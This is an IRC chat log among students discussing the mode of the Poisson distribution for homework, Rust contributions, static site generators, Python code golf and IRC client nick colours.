[2015-03-08T14:23:13-0400] <hardmath123> like, you can't have while loops with interesting conditions.
[2015-03-08T14:24:11-0400] <+awe> Ah, okay.
[2015-03-08T14:47:53-0400] <bob_twinkles> that hasn't been a restriction for several years
[2015-03-08T14:50:42-0400] <bob_twinkles> at least on desktop GL/CL, I think ES/WebGL still have similar restrictions
[2015-03-08T14:50:59-0400] <+awe> Probably.
[2015-03-08T14:51:11-0400] <+awe> (At the latter bit.)
[2015-03-08T14:54:07-0400] <Pharyngeal> Ohhai
[2015-03-08T14:54:29-0400] <+awe> Hey Pharyngeal!
[2015-03-08T14:54:31-0400] <+awe> Long time no see.
[2015-03-08T14:54:43-0400] <Pharyngeal> Yeah
[2015-03-08T14:54:47-0400] <Pharyngeal> I've been super busy
[2015-03-08T14:54:54-0400] <Pharyngeal> Also, I'm in the process of moving servers around
[2015-03-08T14:55:05-0400] <Pharyngeal> So I'm trying to fix my cjdns peering, cause it got pretty fucked
[2015-03-08T14:55:10-0400] <+awe> Ah, okay.
[2015-03-08T14:55:24-0400] <Pharyngeal> I redid my webserver to be dockerized
[2015-03-08T14:55:30-0400] <Pharyngeal> And use nginx instead of apache
[2015-03-08T14:56:10-0400] <+awe> nginx is a lot better. So, that's a good call.
[2015-03-08T14:56:37-0400] <Pharyngeal> Yeah, and it uses hhvm now
[2015-03-08T14:57:12-0400] <+awe> You use PHP?
[2015-03-08T14:58:00-0400] <Pharyngeal> Wordpress, so yes
[2015-03-08T14:58:14-0400] <+awe> Ah, okay.
[2015-03-08T14:58:45-0400] <+awe> Since I last saw you (excluding the ping in HypeIRC when you said you were changing stuff), I migrated my site to being fully static (and generated with Hakyll).
[2015-03-08T14:59:28-0400] <+awe> And PdgnCo got a completely static site (http://pdgn.co) and also a static community blog generated with Jekyll (http://blog.pdgn.co).
[2015-03-08T15:04:18-0400] <+awe> woo, second PR to Rust: https://github.com/rust-lang/rust/pull/23197
[2015-03-08T15:33:43-0400] <hardmath123> awe: \o/
[2015-03-08T15:34:59-0400] <+awe> I also think I'm going to do a PR for https://github.com/rust-lang/rust/issues/23194
[2015-03-08T15:35:06-0400] <+awe> Since I'm pretty sure it was just copy-pasta.
[2015-03-08T16:08:33-0400] <hardmath123> emo(7) now adheres to man page convention and gets converted to proper PDFs automatically.
[2015-03-08T16:10:32-0400] <+awe> lol
[2015-03-08T16:18:08-0400] <Tamini> heh
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[2015-03-08T16:29:01-0400] <+awe> Tamini: how would you rigorously demonstrate that the maximum value of something like: k^x/x! is when x = k?
[2015-03-08T16:29:15-0400] <Tamini> uh
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[2015-03-08T16:29:32-0400] <Tamini> what are you able to change
[2015-03-08T16:29:39-0400] <+awe> What do you mean?
[2015-03-08T16:29:41-0400] <Tamini> is k the fixed value or is x*
[2015-03-08T16:29:45-0400] <+awe> k is a variable.
[2015-03-08T16:29:46-0400] <+awe> erm
[2015-03-08T16:29:47-0400] <+awe> is a constant.
[2015-03-08T16:29:51-0400] <Tamini> yeah, okay
[2015-03-08T16:29:52-0400] <Tamini> better.
[2015-03-08T16:29:59-0400] <Tamini> ne second
[2015-03-08T16:30:10-0400] <Tamini> im trying to um make my computer function
[2015-03-08T16:30:28-0400] <+awe> I know that the maximum is when x = floor(k) (unless k is an integer in which case x = k and x = k - 1 are equal)
[2015-03-08T16:30:45-0400] <+awe> But I don't know how to show that.
[2015-03-08T16:30:56-0400] <Tamini> i think your claim is false.
[2015-03-08T16:30:56-0400] <Tamini> ._.
[2015-03-08T16:31:09-0400] <+awe> https://en.wikipedia.org/wiki/Poisson_distribution
[2015-03-08T16:31:15-0400] <+awe> That's the mode of a Poisson distribution
[2015-03-08T16:31:20-0400] <Tamini> well, then, mathematica lied to me.
[2015-03-08T16:31:54-0400] <+awe> I don't think I'm wrong to assume that e^(-lambda) doesn't have an impact on where the mode is since it's a constant.
[2015-03-08T16:32:16-0400] <Tamini> oh, jk
[2015-03-08T16:32:18-0400] <Tamini> i plotted wrong
[2015-03-08T16:33:22-0400] <+awe> So, how do I show this? D:
[2015-03-08T16:33:27-0400] <bob_twinkles> checking all the places where df/dx is 0?
[2015-03-08T16:33:34-0400] <Tamini> um
[2015-03-08T16:33:36-0400] <bob_twinkles> that gets kinda tricky to define with factorials though
[2015-03-08T16:33:41-0400] <Tamini> upon plotting it gets really strange
[2015-03-08T16:33:44-0400] <Tamini> so i doubt that's a good idea
[2015-03-08T16:34:08-0400] <bob_twinkles> well, do you need to do it conceptually or computationally?
[2015-03-08T16:34:14-0400] <+awe> conceptually.
[2015-03-08T16:36:46-0400] <bob_twinkles> if you swap the factorial with the gamma function you can solve df/dx = 0 analytically and then prove that the max is where x = k from there
[2015-03-08T16:37:16-0400] <bob_twinkles> I think that's the brute-force approach though
[2015-03-08T16:37:23-0400] <+awe> I doubt that's what we're expected to do.
[2015-03-08T16:37:55-0400] <bob_twinkles> heh, probably not
[2015-03-08T16:38:18-0400] <bob_twinkles> since that's not a nice thing to solve by hand at all
[2015-03-08T16:38:22-0400] <+awe> I just don't know what we're expected to do because finding the mode of this expression is non-trivial.
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[2015-03-08T16:39:11-0400] Set by awe on February 24, 2015 at 12:36:51 AM EST
[2015-03-08T14:56:10-0400] <+awe> nginx is a lot better. So, that's a good call.
[2015-03-08T14:56:37-0400] <Pharyngeal> Yeah, and it uses hhvm now
[2015-03-08T14:57:12-0400] <+awe> You use PHP?
[2015-03-08T14:57:59-0400] <Pharyngeal> Wordpress, so yes
[2015-03-08T14:58:14-0400] <+awe> Ah, okay.
[2015-03-08T14:58:45-0400] <+awe> Since I last saw you (excluding the ping in HypeIRC when you said you were changing stuff), I migrated my site to being fully static (and generated with Hakyll).
[2015-03-08T14:59:28-0400] <+awe> And PdgnCo got a completely static site (http://pdgn.co) and also a static community blog generated with Jekyll (http://blog.pdgn.co).
[2015-03-08T15:04:18-0400] <+awe> woo, second PR to Rust: https://github.com/rust-lang/rust/pull/23197
[2015-03-08T15:33:42-0400] <hardmath123> awe: \o/
[2015-03-08T15:34:59-0400] <+awe> I also think I'm going to do a PR for https://github.com/rust-lang/rust/issues/23194
[2015-03-08T15:35:06-0400] <+awe> Since I'm pretty sure it was just copy-pasta.
[2015-03-08T16:08:33-0400] <hardmath123> emo(7) now adheres to man page convention and gets converted to proper PDFs automatically.
[2015-03-08T16:10:32-0400] <+awe> lol
[2015-03-08T16:18:08-0400] <Tamini> heh
[2015-03-08T16:29:01-0400] <+awe> Tamini: how would you rigorously demonstrate that the maximum value of something like: k^x/x! is when x = k?
[2015-03-08T16:29:15-0400] <Tamini> uh
[2015-03-08T16:29:32-0400] <Tamini> what are you able to change
[2015-03-08T16:29:39-0400] <+awe> What do you mean?
[2015-03-08T16:29:41-0400] <Tamini> is k the fixed value or is x*
[2015-03-08T16:29:45-0400] <+awe> k is a variable.
[2015-03-08T16:29:46-0400] <+awe> erm
[2015-03-08T16:29:47-0400] <+awe> is a constant.
[2015-03-08T16:29:51-0400] <Tamini> yeah, okay
[2015-03-08T16:29:52-0400] <Tamini> better.
[2015-03-08T16:29:59-0400] <Tamini> ne second
[2015-03-08T16:30:10-0400] <Tamini> im trying to um make my computer function
[2015-03-08T16:30:28-0400] <+awe> I know that the maximum is when x = floor(k) (unless k is an integer in which case x = k and x = k - 1 are equal)
[2015-03-08T16:30:45-0400] <+awe> But I don't know how to show that.
[2015-03-08T16:30:56-0400] <Tamini> i think your claim is false.
[2015-03-08T16:30:56-0400] <Tamini> ._.
[2015-03-08T16:31:09-0400] <+awe> https://en.wikipedia.org/wiki/Poisson_distribution
[2015-03-08T16:31:15-0400] <+awe> That's the mode of a Poisson distribution
[2015-03-08T16:31:20-0400] <Tamini> well, then, mathematica lied to me.
[2015-03-08T16:31:54-0400] <+awe> I don't think I'm wrong to assume that e^(-lambda) doesn't have an impact on where the mode is since it's a constant.
[2015-03-08T16:32:16-0400] <Tamini> oh, jk
[2015-03-08T16:32:18-0400] <Tamini> i plotted wrong
[2015-03-08T16:33:22-0400] <+awe> So, how do I show this? D:
[2015-03-08T16:33:27-0400] <bob_twinkles> checking all the places where df/dx is 0?
[2015-03-08T16:33:34-0400] <Tamini> um
[2015-03-08T16:33:36-0400] <bob_twinkles> that gets kinda tricky to define with factorials though
[2015-03-08T16:33:41-0400] <Tamini> upon plotting it gets really strange
[2015-03-08T16:33:44-0400] <Tamini> so i doubt that's a good idea
[2015-03-08T16:34:08-0400] <bob_twinkles> well, do you need to do it conceptually or computationally?
[2015-03-08T16:34:14-0400] <+awe> conceptually.
[2015-03-08T16:36:46-0400] <bob_twinkles> if you swap the factorial with the gamma function you can solve df/dx = 0 analytically and then prove that the max is where x = k from there
[2015-03-08T16:37:16-0400] <bob_twinkles> I think that's the brute-force approach though
[2015-03-08T16:37:23-0400] <+awe> I doubt that's what we're expected to do.
[2015-03-08T16:37:55-0400] <bob_twinkles> heh, probably not
[2015-03-08T16:38:18-0400] <bob_twinkles> since that's not a nice thing to solve by hand at all
[2015-03-08T16:38:22-0400] <+awe> I just don't know what we're expected to do because finding the mode of this expression is non-trivial.
[2015-03-08T16:39:12-0400] Mode is +nt
[2015-03-08T16:39:24-0400] <+awe> bob_twinkles: is there some way I'm missing to find the mode of a Poisson ditsribution?
[2015-03-08T16:40:19-0400] <+awe> Doing it for a geometric distribution is easy because a geometric distribution is inherently decreasing because it's a geometric series where r < 1.
[2015-03-08T16:40:44-0400] <bob_twinkles> dunno, my approach to math more complex than integrals of polynomials is "look up big words and throw them at mathematica"
[2015-03-08T16:41:04-0400] <Tamini> or just
[2015-03-08T16:41:06-0400] <Tamini> throw them at mathematica
[2015-03-08T16:41:10-0400] <Tamini> god, you should've taken compphys
[2015-03-08T16:41:18-0400] <Tamini> you would've had so much fun with it
[2015-03-08T16:41:25-0400] <bob_twinkles> I don't think I could deal with 2 periods of Dell though
[2015-03-08T16:42:42-0400] <Tamini> its lots of sleeping
[2015-03-08T16:42:57-0400] <Tamini> i mean, kyle handles three periods of Dell just fine
[2015-03-08T16:43:07-0400] <bob_twinkles> kyle is also kyle though
[2015-03-08T16:43:07-0400] <+awe> Tamini: be helpful!
[2015-03-08T16:43:12-0400] <bob_twinkles> awe: what class is this for?
[2015-03-08T16:43:12-0400] <+awe> Tamini: you're supposed to be good at math. ;)
[2015-03-08T16:43:14-0400] <+awe> bob_twinkles: probability
[2015-03-08T16:43:16-0400] <Tamini> awe: I don't know how!
[2015-03-08T16:43:19-0400] <Tamini> arch is being bad
[2015-03-08T16:43:26-0400] <Tamini> and I'm currently on a date with myself
[2015-03-08T16:43:29-0400] <+awe> lol
[2015-03-08T16:43:38-0400] <Tamini> (I really hope you get that joke)
[2015-03-08T16:43:47-0400] <Tamini> (because otherwise the situation sounds sadder than it actually is)
[2015-03-08T16:44:19-0400] <+awe> http://math.stackexchange.com/questions/246496/the-mode-of-the-poisson-distribution
[2015-03-08T16:44:23-0400] <+awe> Tamini: I do.
[2015-03-08T16:44:29-0400] <+awe> THIS IS SO FUCKING NON-TRIVIAL
[2015-03-08T16:44:35-0400] <+awe> WHY IS THIS A TWO POINT PROBLEM?
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[2015-03-08T16:44:56-0400] <Tamini> :<
[2015-03-08T16:45:37-0400] <+awe> I'm going to write the correct answer but I'm going to write that I had to read math stackexchange to get it and that I think that expecting us to make the intuitive leap here is unreasonable.
[2015-03-08T16:48:35-0400] <+awe> Tamini: am I wrong?
[2015-03-08T16:49:29-0400] <Tamini> uh
[2015-03-08T16:49:31-0400] <Tamini> no you arent
[2015-03-08T16:49:48-0400] <Tamini> unless you've covered poisson distributions already
[2015-03-08T16:49:58-0400] <Tamini> in which case they really should have taught you that approximation
[2015-03-08T16:50:15-0400] <+awe> No, I mean, we know the definition of a Poisson distribution.
[2015-03-08T16:50:35-0400] <+awe> I guess it might not be that bad because
[2015-03-08T16:51:12-0400] <+awe> lambda^k / e^lambda, if lambda < 1, you know that that's decreasing
[2015-03-08T16:51:14-0400] <+awe> so, the mode is 0 then.
[2015-03-08T16:51:49-0400] <+awe> if lambda = 1, the same is true because it'd still be decreasing since it'd just be 1/k!
[2015-03-08T16:51:55-0400] <Tamini> mmm yea
[2015-03-08T16:52:18-0400] <+awe> but then if lambda is greater than 1 you need to make this intuitive leap to build this relationship between lambda and k.
[2015-03-08T16:52:22-0400] <+awe> Which I think is non-trivial.
[2015-03-08T16:52:49-0400] <ubuntor> wait, but k has to be an integer for a poisson distribution
[2015-03-08T16:53:17-0400] <ubuntor> so something along the lines of multiplying factors of (lambda/x)
[2015-03-08T16:53:41-0400] <ubuntor> when x > lambda, that thing is < 1, and it decreases
[2015-03-08T16:55:18-0400] <+awe> ubuntor: no it doesn't?
[2015-03-08T16:55:22-0400] <+awe> oh wait, yes, k does.
[2015-03-08T16:55:32-0400] <+awe> I thought you meant lambda.
[2015-03-08T16:55:48-0400] <+awe> Yes, it is along the lines of multiplying factors of lambda / k
[2015-03-08T16:56:07-0400] <+awe> Which you can prove by doing P(x = k) / P(x = k - 1)
[2015-03-08T16:56:10-0400] <+awe> I just think that that's non-trivial.
[2015-03-08T16:56:38-0400] <+awe> I don't think that's something that someone would reasonably determine correctly for a 2 point problem in a short period of time.
[2015-03-08T16:56:55-0400] <+awe> Or again, maybe I'm wrong and this is actually trivial and I'm just dumb.
[2015-03-08T16:56:56-0400] <+awe> Iunno.
[2015-03-08T16:57:01-0400] <+awe> I certainly wouldn't have thought of that.
[2015-03-08T16:57:11-0400] <+awe> Not without some sort of prompting.
[2015-03-08T16:57:17-0400] <ubuntor> how much is 2 points compared to other things?
[2015-03-08T16:57:32-0400] <+awe> It's the same as finding the mode of a geometric distribution.
[2015-03-08T16:57:36-0400] <+awe> Which is completely trivial.
[2015-03-08T16:57:49-0400] <+awe> It's twice the point value of just plugging numbers into equations.
[2015-03-08T16:58:04-0400] <ubuntor> :/
[2015-03-08T16:58:34-0400] <ubuntor> maybe there's not a lot of granularity, but it should still be higher than 2
[2015-03-08T16:59:40-0400] <+awe> I guess the idea is that he doesn't want to push you too much for being unable to make that leap...?
[2015-03-08T17:00:13-0400] <ubuntor> hm
[2015-03-08T17:02:37-0400] <+awe> I just think it's sort of a silly problem to ask.
[2015-03-08T17:04:05-0400] <+awe> Oh good.
[2015-03-08T17:04:11-0400] <+awe> Yes, please ask this same question but for binomial distributions
[2015-03-08T17:04:14-0400] <+awe> which is again non-trivial.
[2015-03-08T17:07:23-0400] <+awe> n!/k!(n-k)!
[2015-03-08T17:08:45-0400] <+awe> The maximum of that is when n = k.
[2015-03-08T17:09:02-0400] <+awe> erm rather, when k = n/2
[2015-03-08T17:10:36-0400] <+awe> I guess it's not so bad since the actual solution requires you to do the same thing as with the previous one?
[2015-03-08T17:23:22-0400] <+awe> Okay, I finished writing both of these out.
[2015-03-08T17:23:26-0400] <+awe> They took half a page.
[2015-03-08T17:31:02-0400] <Pharyngeal> awe: So either my SSD is failing, or my computer is failing
[2015-03-08T17:31:04-0400] <Pharyngeal> How sad
[2015-03-08T17:31:09-0400] <Pharyngeal> http://pastie.org/private/0pqalp4auiakaeniivqa
[2015-03-08T17:39:06-0400] <JacobEdelman> ubuntor, Pharyngeal , awe, stop this conversation at once
[2015-03-08T17:39:11-0400] <JacobEdelman> you're all the same color on irc cloud
[2015-03-08T17:39:15-0400] <JacobEdelman> this is so confusing
[2015-03-08T17:39:18-0400] <JacobEdelman> :P
[2015-03-08T17:39:19-0400] <ubuntor> lol
[2015-03-08T17:39:29-0400] <Pharyngeal> :P
[2015-03-08T17:44:41-0400] <jwoglom> lol, on my weechat instance they're all different colors :P
[2015-03-08T17:45:42-0400] <bob_twinkles> I have weechat configured to make everything grey and rely mostly on nick length
[2015-03-08T18:34:27-0400] <+awe> Pharyngeal: that's upsetting.
[2015-03-08T18:34:35-0400] <+awe> And yeah, my hash for everyone makes them different colors.
[2015-03-08T18:34:44-0400] <+awe> Although, admittedly, bob_twinkles, Pharyngeal, and ubuntor are all shades of orange.
[2015-03-08T18:34:49-0400] <+awe> So, they're somewhat similar.
[2015-03-08T18:45:50-0400] <JacobEdelman> awe, ubuntor, and Pharyngeal are all bright orange
[2015-03-08T18:47:28-0400] <Tamini> awe and jwoglom are purple for me
[2015-03-08T18:47:33-0400] <Tamini> and alok and hardmath are bright red
[2015-03-08T18:47:42-0400] <Tamini> and everyone else is sorta varying hues of green
[2015-03-08T18:48:15-0400] <jwoglom> for me, ubuntor and JacobEdelman are yellow, awe and bob_twinkles are pink, Tamini is blue
[2015-03-08T18:48:18-0400] <jwoglom> default weechat i think
[2015-03-08T18:48:23-0400] <nezorg> everybody's grey! :P
[2015-03-08T18:48:31-0400] <Tamini> nezorg: so boring! :P
[2015-03-08T18:48:39-0400] <nezorg> indeed :(
[2015-03-08T18:48:52-0400] <jwoglom> without colors it's really hard to differentiate people
[2015-03-08T18:49:20-0400] <Tamini> we need to force everyone to have different length nicks
[2015-03-08T18:49:25-0400] <Tamini> so it's easy to differentiate
[2015-03-08T18:49:38-0400] <jwoglom> there's a decent variation in here
[2015-03-08T18:49:48-0400] <jwoglom> much better than in the tj channels
[2015-03-08T18:50:51-0400] <Tamini> what can i say
[2015-03-08T18:50:58-0400] <Tamini> 6 letters nicks are thetrend
[2015-03-08T18:52:09-0400] <grantwu> wait... wts that k^x / x! maximized at x = k?
[2015-03-08T18:52:13-0400] <jwoglom> Tamini: so use a 7 letter nick then :P
[2015-03-08T18:52:20-0400] <Tamini> 6>7
[2015-03-08T18:52:21-0400] <Tamini> obviously
[2015-03-08T18:52:47-0400] <ubuntor> grantwu: poisson distribution
[2015-03-08T18:52:57-0400] <grantwu> well at x = k+1 it starts decreasing
[2015-03-08T18:53:01-0400] <jwoglom> Tamini: a longer nick means there are more possible combinations of characters, therefore making you more special :)
[2015-03-08T18:53:15-0400] <Tamini> nop
[2015-03-08T18:53:16-0400] <Tamini> not how that works
[2015-03-08T18:53:25-0400] <grantwu> right? the top increases by a factor of k, the bottom by a factor of x
[2015-03-08T18:53:57-0400] <grantwu> as long as k <= x you're good, assuming integral k and x and x increasing
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[2015-03-08T19:15:24-0400] <apothy> Nice
[2015-03-08T19:16:21-0400] <Tamini> ey aloko
[2015-03-08T19:16:24-0400] <Tamini> are you back home yet
[2015-03-08T19:21:33-0400] <Tamini> :(
[2015-03-08T19:41:05-0400] <apothy> Nup
[2015-03-08T19:41:14-0400] <apothy> I'm back tomorrow
[2015-03-08T20:17:42-0400] <micrictor> wow
[2015-03-08T20:17:58-0400] <micrictor> I was actively trying to reproduce heartbleed in like a ctf problem fashion
[2015-03-08T20:18:00-0400] <micrictor> shit took work
[2015-03-08T20:24:00-0400] <Tamini> god
[2015-03-08T20:24:05-0400] <Tamini> i feel like arch just actively works against you
[2015-03-08T20:24:06-0400] <Tamini> >___<
[2015-03-08T20:26:46-0400] <jwoglom> Tamini: where are you installing arch? macbook?
[2015-03-08T20:26:50-0400] <Tamini> that was
[2015-03-08T20:26:53-0400] <Tamini> needlessly difficult
[2015-03-08T20:26:54-0400] <Tamini> >_<
[2015-03-08T20:28:05-0400] <Tamini> jwoglom: sdamasam runs arch right
[2015-03-08T20:28:12-0400] <jwoglom> Tamini: yeah
[2015-03-08T20:28:34-0400] <jwoglom> fwilson too, arguably more so
[2015-03-08T20:30:55-0400] <nezorg> how can someone run arch more so?
[2015-03-08T20:31:08-0400] <Tamini> well fox was more excited
[2015-03-08T20:31:11-0400] <jwoglom> he's run arch for longer
[2015-03-08T20:31:14-0400] <Tamini> and I didn't even ping him :P
[2015-03-08T20:31:18-0400] <jwoglom> and basically convinced samuel to switch :P
[2015-03-08T21:00:16-0400] <LittleBobbyTables> dota2://matchid=1305959629&matchtime=2340 JacobEdelman 
[2015-03-08T21:28:22-0400] <JacobEdelman> LittleBobbyTables: on phone, summary?
[2015-03-08T21:35:27-0400] <LittleBobbyTables> Watch top lane when you get the chance
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[2015-03-08T22:03:22-0400] <Hyper> JacobEdelman: can you think of any ways to golf this further? https://gist.github.com/anonymous/21e14cbbb26d4c2e7ba7
[2015-03-08T22:03:39-0400] <Hyper> because I've been looking for awhile and I'm not seeing any
[2015-03-08T22:06:58-0400] <hardmath123> Hyper: does it need to be 1 line?
[2015-03-08T22:07:10-0400] <Hyper> hardmath123: I'd like it to be :)
[2015-03-08T22:07:11-0400] <Hyper> why?
[2015-03-08T22:07:32-0400] <Hyper> oh yeah you could get rid of the lambda if it were not one line
[2015-03-08T22:07:33-0400] <hardmath123> otherwise put i=int; at the beginning?
[2015-03-08T22:07:36-0400] <Hyper> I wanna keep it one statement
[2015-03-08T22:07:38-0400] <Hyper> mhm
[2015-03-08T22:08:04-0400] <hardmath123> actually
[2015-03-08T22:08:20-0400] <hardmath123> how about in the dictionary, you use strings {"+":"__add__", ...}
[2015-03-08T22:08:44-0400] <hardmath123> and then do int[o[k]]?
[2015-03-08T22:08:54-0400] <hardmath123> I think that saves around 5 chars
[2015-03-08T22:09:37-0400] <Hyper> hardmath123: you can't index into an object like that :P
[2015-03-08T22:09:56-0400] <Hyper> those are in int.__dict__
[2015-03-08T22:10:44-0400] <hardmath123> oh wait sorry i mean call that method of the first operand
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[2015-03-08T22:11:07-0400] <Hyper> oh
[2015-03-08T22:11:09-0400] <Hyper> that's good
[2015-03-08T22:11:11-0400] <Hyper> I like that
[2015-03-08T22:11:58-0400] <Hyper> wait, I don't think that works
[2015-03-08T22:12:11-0400] <hardmath123> wait what are the specifications for this?
[2015-03-08T22:12:36-0400] <hardmath123> does it only need to do "\d+[+-/*^]\d+"?
[2015-03-08T22:12:38-0400] <Hyper> don't use eval to skip actual parsing
[2015-03-08T22:12:58-0400] <Hyper> and ** is the exponentiation operator we need to use
[2015-03-08T22:13:02-0400] <hardmath123> but what does it actually do?
[2015-03-08T22:13:05-0400] <Hyper> oh
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[2015-03-08T22:13:15-0400] <Hyper> oops
[2015-03-08T22:13:27-0400] <Hyper> takes an expression like 2+2 on stdin and evaluates it
[2015-03-08T22:13:48-0400] <hardmath123> like 2+2 means what? exactly 2 operands?
[2015-03-08T22:13:53-0400] <Hyper> yeah
[2015-03-08T22:14:15-0400] <Hyper> and the operators we need to support are arith. and exp.
[2015-03-08T22:16:58-0400] <hardmath123> hmm
[2015-03-08T22:17:54-0400] <hardmath123> oh nvm you'll need to use __getattribute__. too many chars.
[2015-03-08T22:19:52-0400] <Hyper> I'm don't think there's any way to make the op dict any shorter without making everything else longer
[2015-03-08T22:20:17-0400] <hardmath123> unless you cheat with like eval('a.'+k)! that's technically not using eval to bypass parsing!
[2015-03-08T22:20:50-0400] <Hyper> lol yeah
[2015-03-08T22:20:51-0400] <Hyper> hrm
[2015-03-08T22:22:24-0400] <hardmath123> also, why not just map(int,s.split(k)) instead of the (int(a)for a in s.split(k)if a)  ?
[2015-03-08T22:23:49-0400] <Hyper> hardmath123: you still need the filter of if a
[2015-03-08T22:24:08-0400] <Hyper> or errors during exponentiation
[2015-03-08T22:24:10-0400] <Hyper> :/
[2015-03-08T22:25:17-0400] <Hyper> hardmath123: ok, using an eval to generate the operations as-needed ended up saving 2 chars :)
[2015-03-08T22:25:38-0400] <hardmath123> ooooooh i see because **. drat.
[2015-03-08T22:26:06-0400] <Hyper> and got one more down with a string substitution in the eval!
[2015-03-08T22:26:21-0400] <hardmath123> if you import re, then re.split can probably fix the ** issue.
[2015-03-08T22:26:43-0400] <Hyper> hardmath123: you can inline import with __import__("re") lol
[2015-03-08T22:26:49-0400] <Hyper> hrm
[2015-03-08T22:31:00-0400] <hardmath123> what's your current string?
[2015-03-08T22:32:21-0400] <Hyper> hardmath123: https://gist.github.com/anonymous/5f8bf2cd406651d82d7a
[2015-03-08T22:33:22-0400] <Hyper> hardmath123: I don't think re is really gonna be worth the chars for __import__
[2015-03-08T22:34:20-0400] <Hyper> I kinda hoped to not use eval but w/e it's cool
[2015-03-08T22:35:36-0400] <hardmath123> did they stipulate no whitespace?
[2015-03-08T22:35:51-0400] <Hyper> ?
[2015-03-08T22:36:06-0400] <Hyper> there's no stipulations, I'm golfing this for fun
[2015-03-08T22:36:13-0400] <hardmath123> oh
[2015-03-08T22:36:17-0400] <Hyper> just "don't use eval to cheat parsing"
[2015-03-08T22:36:18-0400] <hardmath123> nvm then :P
[2015-03-08T22:36:51-0400] <Hyper> hardmath123: I'm kinda proud that I've gotten this down to 1 lambda
[2015-03-08T22:37:02-0400] <Hyper> because that's the only way to bind variables to a name lol
[2015-03-08T22:37:25-0400] <hardmath123> Hyper: by the way, i have a suggestion for the second pdgn programming contest problem
[2015-03-08T22:37:42-0400] <Hyper> sure
[2015-03-08T22:37:44-0400] <hardmath123> Hyper: MasterMind, where there's a 1-second penalty for each guess you need.
[2015-03-08T22:37:53-0400] <Hyper> hmm
[2015-03-08T22:37:56-0400] <Hyper> neat idea
[2015-03-08T22:39:00-0400] <Hyper> hardmath123: but you need to have like a checking back and forth loop between two processes which is kinda ugly to get going...
[2015-03-08T22:42:33-0400] <hardmath123> Hyper: eh, not really. it's not hard to write code that writes a score to the stdin of a process each time the process stdouts a guess.
[2015-03-08T22:42:48-0400] <Hyper> yeah, but it is some work
[2015-03-08T22:42:50-0400] <Hyper> :3
[2015-03-08T22:43:01-0400] <Hyper> not 0 effort, 2 much effort for me
[2015-03-08T22:45:19-0400] <ubuntor> sounds like it's going to turn into an algo problem :P
[2015-03-08T22:47:06-0400] <hardmath123> yeah it's an algo problem, but the best algo is pretty established as kunth's minimax, so all you need to do is optimize it to death.
[2015-03-08T23:09:24-0400] <+awe> [18:48:15]  <jwoglom>	for me, ubuntor and JacobEdelman are yellow, awe and bob_twinkles are pink, Tamini is blue
[2015-03-08T23:09:32-0400] <+awe> JacobEdelman: it makes sense that me and bob_twinkles would be placed in the same color faction.
[2015-03-08T23:09:35-0400] <+awe> erm
[2015-03-08T23:09:36-0400] <+awe> jwoglom: ^
[2015-03-08T23:09:39-0400] <Tamini> wow
[2015-03-08T23:09:49-0400] <Tamini> I was pinged so I thought someone loved me.
[2015-03-08T23:10:10-0400] <jwoglom> awe: hardmath123 is also the same color as you
[2015-03-08T23:10:37-0400] <+awe> I can accept that.
[2015-03-08T23:10:47-0400] <jwoglom> also yeah, these pings about nick colors could easily get annoying :P
[2015-03-08T23:10:48-0400] <+awe> I will convert hardmath123 to the typed side soon enough
[2015-03-08T23:11:08-0400] <ubuntor> plserino no pingerino
[2015-03-08T23:12:48-0400] <bob_twinkles> it's been like 2 years or so since I last watched that Game of Life in APL demo
[2015-03-08T23:12:52-0400] <bob_twinkles> and it actually made sense this time
[2015-03-08T23:12:56-0400] <bob_twinkles> I'm not sure if that's good or bad
[2015-03-08T23:14:02-0400] <+awe> ubuntor: but le ping
[2015-03-08T23:14:12-0400] <hardmath123> Tamini: aww don't worry we love you <3
[2015-03-08T23:14:21-0400] <+awe> bob_twinkles: how to find P(X >= k) of geometric random variable?
[2015-03-08T23:14:29-0400] <ubuntor> apl is... interesting
[2015-03-08T23:14:41-0400] <Hyper> bob_twinkles: every time I watch that I think I understand it better
[2015-03-08T23:14:43-0400] <Hyper> lol
[2015-03-08T23:14:54-0400] <bob_twinkles> it can really only do one thing
[2015-03-08T23:15:05-0400] <Tamini> hardmath123: <3
[2015-03-08T23:15:08-0400] <hardmath123> awe: i'm currently in paradigmatic puragory. I can't bring myself to use a typed language, but my OCD doesn't let me use JavaScript anymore.
[2015-03-08T23:15:11-0400] <bob_twinkles> it's a purely functional language for dealing with integer tensors
[2015-03-08T23:15:32-0400] <+awe> hardmath123: I was like that with Java for a really long time.
[2015-03-08T23:15:41-0400] <+awe> hardmath123: I couldn't use Java anymore, but I couldn't start doing Haskell/Rust.
[2015-03-08T23:16:03-0400] <hardmath123> I want to do Scheme, but I can't decide on an implementation to fall in love with.
[2015-03-08T23:16:05-0400] <bob_twinkles> I haven't tried writing java in... years I guess
[2015-03-08T23:16:10-0400] <bob_twinkles> I wonder how that will go
[2015-03-08T23:16:14-0400] <+awe> This probability homework is seriously hard.
[2015-03-08T23:16:23-0400] <bob_twinkles> ... prolly end up using scala if I have to JVM =P
[2015-03-08T23:16:23-0400] <+awe> Well, actually, just this one set of questions.
[2015-03-08T23:16:46-0400] <+awe> It's weird because we haven't talked about ANY of the stuff on this homework.
[2015-03-08T23:16:59-0400] <bob_twinkles> sure your doing the right assignment?
[2015-03-08T23:17:06-0400] <bob_twinkles> and did you guys also get screwed by snow?
[2015-03-08T23:17:19-0400] <+awe> I'm definitely doing the right assignment.
[2015-03-08T23:17:36-0400] <+awe> And sort of?
[2015-03-08T23:17:39-0400] <jwoglom> bob_twinkles: dude, what day is it even anymore
[2015-03-08T23:17:39-0400] <+awe> But not really recently.
[2015-03-08T23:17:57-0400] <bob_twinkles> jwoglom: noone knows I don't think
[2015-03-08T23:18:08-0400] <+awe> bob_twinkles: pls to help tho?
[2015-03-08T23:18:12-0400] <bob_twinkles> I was gonna say if you had that your professor might have just been like "fuckit, we gotta go fast"
[2015-03-08T23:18:22-0400] <bob_twinkles> I haven't taken a prob theory class, sorry
[2015-03-08T23:18:34-0400] <+awe> Argh.
[2015-03-08T23:18:36-0400] <bob_twinkles> I'd like to though, it seems like a good thing to know
[2015-03-08T23:18:40-0400] <+awe> It is.
[2015-03-08T23:18:42-0400] <+awe> It's really fun, too.
[2015-03-08T23:18:53-0400] <+awe> But I'm just really confused with this stuff.
[2015-03-08T23:19:07-0400] <+awe> We haven't talked about this at all.
[2015-03-08T23:24:21-0400] <+awe> bob_twinkles: nevermind, I'm dumb.
[2015-03-08T23:24:48-0400] <+awe> bob_twinkles: P(X >= k) = sum from n = k - 1 to infinity of (1 - p)^n * p
[2015-03-08T23:24:49-0400] <+awe> durr
[2015-03-08T23:24:56-0400] <+awe> ez pz
